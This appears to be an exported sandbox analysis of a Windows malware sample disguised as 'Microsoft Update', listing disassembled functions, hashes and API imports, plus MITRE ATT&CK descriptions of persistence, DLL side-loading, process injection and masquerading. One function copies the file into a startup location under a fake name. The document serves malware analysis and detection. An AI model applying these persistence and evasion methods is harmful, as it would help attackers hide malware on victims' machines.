Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3110febe8f95c266586a3f0c0ce7acd647362d09da298cc8098480a047f72dca
Instruction ID: 6bb359cb5f6745f4f00ecf42abd5968cd96321262cebac8c3b59f606002b0705
Opcode Fuzzy Hash: 3110febe8f95c266586a3f0c0ce7acd647362d09da298cc8098480a047f72dca
Instruction Fuzzy Hash: E3B19F21A0964641EA56FE199C4027AD290AF76B84FDD44B5DFCD07B9DDF3CE4E28320

Function 00007FF7B686D284 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7B686D29A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7B686D2BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7B686D2E9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7B686D38B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B686D3A0

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: de4e2ee727fd70ea45a717ab47291501f3441d61ec42b0f132e856687f23827c
Instruction ID: e17b9f945ea91cbecc0b1e4706d08e2627d9c15cbdf203ecb4b1fb4211b748b4
Opcode Fuzzy Hash: de4e2ee727fd70ea45a717ab47291501f3441d61ec42b0f132e856687f23827c
Instruction Fuzzy Hash: 13319526A09A4281EA14AF1DED4017BE361FB66794F880271DB4D877ADEF2CE425D360

Function 00007FF7B68864C4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B68867A3

Part of subcall function 00007FF7B688D614: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B688D631

Strings

UTF-16LEUNICODE, xrefs: 00007FF7B6886741
UTF-8, xrefs: 00007FF7B6886722
ccs, xrefs: 00007FF7B68866DE

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7028a084f07d109050fb413e7abfb6fc5f4ae07a75d6d3736883456abfde48df
Instruction ID: 291f208072eab5de318a8dfe1b2f250c17ffb9dc079f32550339f58581064b8c
Opcode Fuzzy Hash: 7028a084f07d109050fb413e7abfb6fc5f4ae07a75d6d3736883456abfde48df
Instruction Fuzzy Hash: 9D81C472D09242C5F674BE2C895823AA7A0AF33F48FD541B4CB095728DDF2DF8A18761

Function 00007FF7B6872AEC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7B6872B5C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7B6872BA7

Strings

RCC, xrefs: 00007FF7B6872B78
MOC, xrefs: 00007FF7B6872B70

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 45ca2a67dbf60ae759b8dec0715dd03f6d3997a86b9bb35aec2a69ee6de5fab4
Instruction ID: 9b9b83b31c246f12f35970cc680643b0d3ec3ee2466c46cd9d768d5a47e44fb7
Opcode Fuzzy Hash: 45ca2a67dbf60ae759b8dec0715dd03f6d3997a86b9bb35aec2a69ee6de5fab4
Instruction Fuzzy Hash: BC91F373A08B858AE711EF28D8502BEBBB0FB65788F504165EB8C0B759DF38D1A5C700

Function 00007FF7B6871100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B687112B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7B68711C9
RtlUnwindEx.KERNEL32 ref: 00007FF7B6871223

Strings

csm, xrefs: 00007FF7B68711B0

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 27e04411f8f07e9b417d55a02e82556ae68521ca15ab97c8f707a9d59c1fdfa5
Instruction ID: 355838a7a6d3584749cf83b688eeeee7f828664a96fe870f96c67dd178911be7
Opcode Fuzzy Hash: 27e04411f8f07e9b417d55a02e82556ae68521ca15ab97c8f707a9d59c1fdfa5
Instruction Fuzzy Hash: 8751D631B295028ADB15EF59D84463EB391EB6AB84F984170DB8D87B8CDF7CE4A1C710

Function 00007FF7B687306C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B6873094
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7B6873182

Strings

csm, xrefs: 00007FF7B68730B6
csm, xrefs: 00007FF7B68731D4

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 24da730f33a2a23da785bec7214b37223728227b2e672adf24902a48b3e8fa5f
Instruction ID: 6b6c9d72e0f1ef35814a6112d3702d774687046ce3b09763947f83acac1f847f
Opcode Fuzzy Hash: 24da730f33a2a23da785bec7214b37223728227b2e672adf24902a48b3e8fa5f
Instruction Fuzzy Hash: F061D432B1834287EB74AF19984027AB790EB66B85F944175DB8D43B89CF3CE4B0C752

Function 00007FF7B687287C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7B68728DB
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7B6872927

Strings

RCC, xrefs: 00007FF7B68728F7
MOC, xrefs: 00007FF7B68728EF

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: a8bc0d6b9e13279d9e7d9d9d9eeaf6c961dde958377fcdbdf2706040b2a2c62f
Instruction ID: b033cca299f7b49248a6e030e085a9407d98ef8a509565632b0fba0778d25658
Opcode Fuzzy Hash: a8bc0d6b9e13279d9e7d9d9d9eeaf6c961dde958377fcdbdf2706040b2a2c62f
Instruction Fuzzy Hash: BC618F32908BC585D631AB19E8407BAF7A0FBA6784F444265EB9C17B59DF7CE1E0CB10

Function 00007FF7B6862020 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF7B68620CC

Part of subcall function 00007FF7B6871034: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7B686C696), ref: 00007FF7B6871084
Part of subcall function 00007FF7B6871034: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7B686C696), ref: 00007FF7B68710C5

Strings

ios_base::badbit set, xrefs: 00007FF7B6862054
ios_base::eofbit set, xrefs: 00007FF7B6862067
ios_base::failbit set, xrefs: 00007FF7B6862060

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ExceptionFileHeaderRaise__std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3973727643-1866435925
Opcode ID: 128eeb9f0b8dc0a8ad81d20c0f209172528b67f9530a89b7796715e88ad1cfd4
Instruction ID: 9f869e1e4613bcb2974f72f2665a66958d8ddf3bd4d5f8c0e4f903dcabc32176
Opcode Fuzzy Hash: 128eeb9f0b8dc0a8ad81d20c0f209172528b67f9530a89b7796715e88ad1cfd4
Instruction Fuzzy Hash: 42212922E0974291EB01AB18DC911FAA320FF75784FD48072DB4C46A9AEF3CE6B5C350

Function 00007FF7B687FA50 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7B687FACF
WriteFile.KERNEL32 ref: 00007FF7B687FDAC
WriteFile.KERNEL32 ref: 00007FF7B687FDF2
GetLastError.KERNEL32 ref: 00007FF7B687FEB1

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ed9379ea17ae0585d9d952d975c5270ec653a8a4d0cc317c8aa3adda12569305
Instruction ID: b7a008a25c2115db0a24ff92d5a4df832da04c921b96f9a5fd21d8c77fb54940
Opcode Fuzzy Hash: ed9379ea17ae0585d9d952d975c5270ec653a8a4d0cc317c8aa3adda12569305
Instruction Fuzzy Hash: 36D10223B0868589E710EF7AD8002BD77B1F766B98B844166CF5D9B799DE38E056C310

Function 00007FF7B6880434 Relevance: 6.2, APIs: 4, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00007FF7B688F7E9,?,00000000,?), ref: 00007FF7B6880552

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: ed179ebfa6f284fec6e17e222ba3c2a29e85fa0079fa53cebf2004e968b6b548
Instruction ID: ea5847873c85539df03a49f994280ce487f8a8f294b6b550a51595862466790c
Opcode Fuzzy Hash: ed179ebfa6f284fec6e17e222ba3c2a29e85fa0079fa53cebf2004e968b6b548
Instruction Fuzzy Hash: FE914A32E0864285F750EF699C442BEA7A0BB66F48F840176DF0E63699DF38E491C720

Function 00007FF7B686FD24 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B686FD50
GetCurrentThreadId.KERNEL32 ref: 00007FF7B686FD5E
GetCurrentProcessId.KERNEL32 ref: 00007FF7B686FD6A
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B686FD7A

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1727cf210d413c97b674556539caaea056c5406bfe29e6e488f5e1709d763cf8
Instruction ID: 8e2b9224cf1c58fd19d41103d558ded85d8b4026db1834fbd073ea7889db3984
Opcode Fuzzy Hash: 1727cf210d413c97b674556539caaea056c5406bfe29e6e488f5e1709d763cf8
Instruction Fuzzy Hash: 9C117322B14F018AEB00DF64EC452B973A4F76A758F441D31EF2D827A8EF38E1A48350

Function 00007FF7B68732AC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B68732D6

Strings

csm, xrefs: 00007FF7B68732FB
csm, xrefs: 00007FF7B6873473

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7bbf50dd1e3b93584a1ac4eb445196eb8dd8ec5ba5125676af90b3c45d98cafd
Instruction ID: d7a25eee44f6af9d2bb153af8d8ba56cba12341e242eb6386d3254162859f6cd
Opcode Fuzzy Hash: 7bbf50dd1e3b93584a1ac4eb445196eb8dd8ec5ba5125676af90b3c45d98cafd
Instruction Fuzzy Hash: 6171C272A0868187DB759F29A84077AB7A0FB22B84F948171DB4C17A99CF3CD5E0C752

Function 00007FF7B68636D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B68631C4: SHGetFolderPathW.SHELL32 ref: 00007FF7B686320C

Part of subcall function 00007FF7B6863110: SHGetFolderPathW.SHELL32 ref: 00007FF7B6863158

CopyFileW.KERNEL32 ref: 00007FF7B686379F

Strings

\Microsoft Update.vbs, xrefs: 00007FF7B68637D7
\Microsoft Update.exe, xrefs: 00007FF7B686375C

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: FolderPath$CopyFile
String ID: \Microsoft Update.exe$\Microsoft Update.vbs
API String ID: 2870190512-4096706484
Opcode ID: a976d8e1f99891cb3544d855950627e77c72964ff4afb0d8cbc6639572273613
Instruction ID: b3f0fd60fcc3780870ab739387640570b847f4341c9d7a922c1c9aa9e97927c9
Opcode Fuzzy Hash: a976d8e1f99891cb3544d855950627e77c72964ff4afb0d8cbc6639572273613
Instruction Fuzzy Hash: 7B41E522B18A0199FB00EFA8D8402EE6370EB56384FC05571EF4D9769DDF38D529C310

Function 00007FF7B6873960 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B6873A09
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7B6873A32

Strings

csm, xrefs: 00007FF7B6873B3E

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 9d1541b0faf12f00b39d3506b314d95e22de9215aa343488bfd9d6aec3696d64
Instruction ID: b7fcd2f3c9015e76579e8f2b8e772dad94459bcd47b1b400fc52c1900342e9c7
Opcode Fuzzy Hash: 9d1541b0faf12f00b39d3506b314d95e22de9215aa343488bfd9d6aec3696d64
Instruction Fuzzy Hash: 2E516072608A4186E620EF19E84437FB7A0F796BA5F440175DB8D07B9ACF3CE4A0CB51

Function 00007FF7B6880108 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7B6880220
GetLastError.KERNEL32 ref: 00007FF7B6880245

Strings

U, xrefs: 00007FF7B68801CA

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 461bbaa5ee7b83cc383dd2fdbbf526e865cc42a27ef8e02635f2c4469f126a80
Instruction ID: 6d754659e58e0c85b4c53b30d02a9b32b6fddebe9fbeeb5f17a3b1a107c49146
Opcode Fuzzy Hash: 461bbaa5ee7b83cc383dd2fdbbf526e865cc42a27ef8e02635f2c4469f126a80
Instruction Fuzzy Hash: 9441E572A19A8186D750AF29E8087AAF7A0FBA9B94F800131EF4D8779CDF7CD451C750

Function 00007FF7B6871034 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7B686C696), ref: 00007FF7B6871084
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7B686C696), ref: 00007FF7B68710C5

Strings

csm, xrefs: 00007FF7B68710B2

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 52965642b9ceef0991b282cb33432c7eda3370873cd6f5fffa049cb076594986
Instruction ID: 9542d77b6440a3ff306af51c3f727b0d4c9c1fa8838a2151e6335ce3ba26c0a1
Opcode Fuzzy Hash: 52965642b9ceef0991b282cb33432c7eda3370873cd6f5fffa049cb076594986
Instruction Fuzzy Hash: 41113332618B8182EB219F29F84026AB7E4FB99B84F584270DFCC07B58DF3CD5618740

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

